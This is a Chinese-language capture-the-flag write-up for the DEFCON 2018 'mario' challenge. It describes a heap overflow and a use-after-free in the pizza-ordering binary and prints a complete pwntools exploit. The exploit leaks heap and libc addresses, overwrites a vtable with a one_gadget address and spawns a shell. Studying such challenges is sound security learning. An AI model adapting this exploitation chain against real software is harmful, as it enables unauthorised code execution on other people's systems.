DEFCON2018 mario
一次勇敢的尝试👼 领教了defcon的难度,总结了一点难题的规律:
1.代码量大
2.数据复杂
3.漏洞隐蔽
4.利用困难
5.C和C+混合,且用vector导致堆很琐碎
我全程跟着hxp的脚本边调边做但也只是懂了大概80%,明白了漏洞所在,明白了leak的方法,但最后的拿shell很😵,hxp说是利用win_heap(指向one_gadget的heap)覆盖输出pizza objectd的函数vtable,再通过admire函数实现执行,可能还是我结构体或者vector分析的有问题吧😥
我先分析一下漏洞所在:
1 | printf("Before I start cooking your pizzas, do you have anything to declare? Please explain: "); |
cook函数会要求我们留言,并根据我们输入的数据长度来malloc。
但如果mario生气的话会有一个’P’选项:
1
2
3
4
5
6
7
8
9case 80:
if ( v3 )
{
printf("last chance, explain yourself: ");
read_n_0(is_user[4], 300);
puts("too bad, no explanation is reasonable. BAM BAM BAM!");
*((_BYTE *)is_user + 65) = 1;
}
break;
read_n函数参数为上买malloc的堆,但可写300字节,造成堆溢出
还有一处漏洞在于cook后面:
1
2
3
4
5
6
7
8
9
10
11
12
13if ( v14 & 0xF0 )
{
if ( v14 >> 4 == (v13 & 0xF) )
{
puts("Molto bene, all cooked!");
if ( !(v14 & 0xF) )
free(*(void **)(a1 + 0x20));
}
else
{
puts("found non-approved pizzas. come on.");
}
}
如果有1个好披萨和0x10个坏披萨则会执行free(上面malloc的),造成uaf。
漏洞大概是这些,接下来就是如何让mario生气了。
题目很有意思,如果再order披萨的时候添加配料里有🍍,则会是坏披萨,mario会生气,并直接退出。
因此为了做坏披萨并不退出,则可以通过两个utf8的拼接来实现菠萝的输入。
按照上面的1个好0x10个坏使得free,控制大小进入unsorted bin,uaf第一次可泄露heap,第二次可泄露libc,自己调下就明白了。之后就到懵逼环节了。
hxp大佬先new之后cook的留言写了’v’*4个字节,然后退出,之后用堆溢出改写前面一直利用的那个堆块为p64(win_addr)*2 + “X”*144 + p64(win_heap_addr)*2,然后执行admire拿shell。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110from pwn import *
context.log_level='debug'
context.arch='amd64'
emojis = { 'pineapple': b"\xf0\x9f\x8d\x8d",
'tomato': b"\xf0\x9f\x8d\x85" }
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def cust_new(name):
p.recvuntil("Choice:")
p.sendline("N")
p.recvuntil("name?")
p.sendline(name)
def cust_login(name):
p.recvuntil("Choice:")
p.sendline("L")
p.recvuntil("name?")
p.sendline(name)
def cook(explanation=''):
p.recvuntil("Choice:")
p.sendline("C")
p.recvuntil("explain:")
p.sendline(explanation)
p.recvuntil("USER MENU")
def order(items):
p.recvuntil("Choice:")
p.sendline("O")
p.recvuntil("how many pizzas?")
p.sendline(str(len(items)))
for i in range(len(items)):
p.recvuntil("how many ingredients?")
p.sendline(str(len(items[i])))
for ing in items[i]:
p.recvuntil(":")
p.sendline(ing)
log.info("pizza " + str(i+1) + ": adding " + str(ing))
def admire():
p.recvuntil("Choice:")
p.sendline("A")
p.recvline()
def cust_logout():
p.recvuntil("Choice:")
p.sendline("L")
def overflow(payload):
p.recvuntil("Choice:")
p.sendline("P")
p.recvuntil("explain yourself:")
p.sendline(payload)
def why_upset():
p.recvuntil("Choice:")
p.sendline("W")
# p.recvuntil("say: ")
# output = p.recvline()[:-1]
# return repr(output)
def main(host,port=1234):
global p
if host:
p=remote(host,port)
else:
p=process("./mario")
debug(0x0002E23)
cust_new('1'*8)
good_pizza = [emojis['tomato']]
naughty_pizza = [emojis['tomato'] + emojis['pineapple'][:2] + emojis['pineapple'][:2], emojis['pineapple'][2:] + emojis['tomato']]
payload=[]
payload.append(good_pizza)
for _ in range(16):
payload.append(naughty_pizza)
order(payload)
cook('1'*0x104)
cust_logout()
why_upset()
p.recvuntil("say: ")
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
info("heap: "+hex(heap_addr))
cust_new('2'*8)
order([good_pizza])
cook('2'*0x104)
cust_logout()
why_upset()
p.recvuntil("say: ")
libc.address=u64(p.recvuntil("\x7f").ljust(8,'\x00'))-0x6cdb78+0x309000
info("libc: "+hex(libc.address))
win_addr=libc.address+0x4527a
cust_login('2'*8)
order([[emojis['tomato']]])
cook('v'*4)
cust_logout()
win_heap_addr=heap_addr - 3984
cust_login('1'*8)
overflow(p64(win_addr)*2 + "X"*144 + p64(win_heap_addr)*2)
cust_login("2"*8)
admire()
# gdb.attach(p)
p.interactive()
if __name__ == "__main__":
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
main(0)
我飘了,连defcon的题都敢看了,不过这样也好,让我看清了自己的水平,希望自己能有一天再次回来看这道题目的时候,能够不像现在如此艰难吧。
补充,如没有最后两个p64的覆盖,则在执行call rax是寄存器位:
1 | RAX 0x55aea44fbcac ◂— push rbp |
可以看到,拿shell的关键是在heap_overflow的时候改掉位于0x55aea59401d0 —▸ 0x55aea4705c00 —▸ 0x55aea44fbcac ◂— push rbp的vtabl(改成win_heap_addr,0x55aea44fbcac本来是要打印pizza_object的)从而在call rax时候实现get shell!!!
基本明白这题的思路了,最后拿shell的漏洞明显专门设计的,略显生硬🚩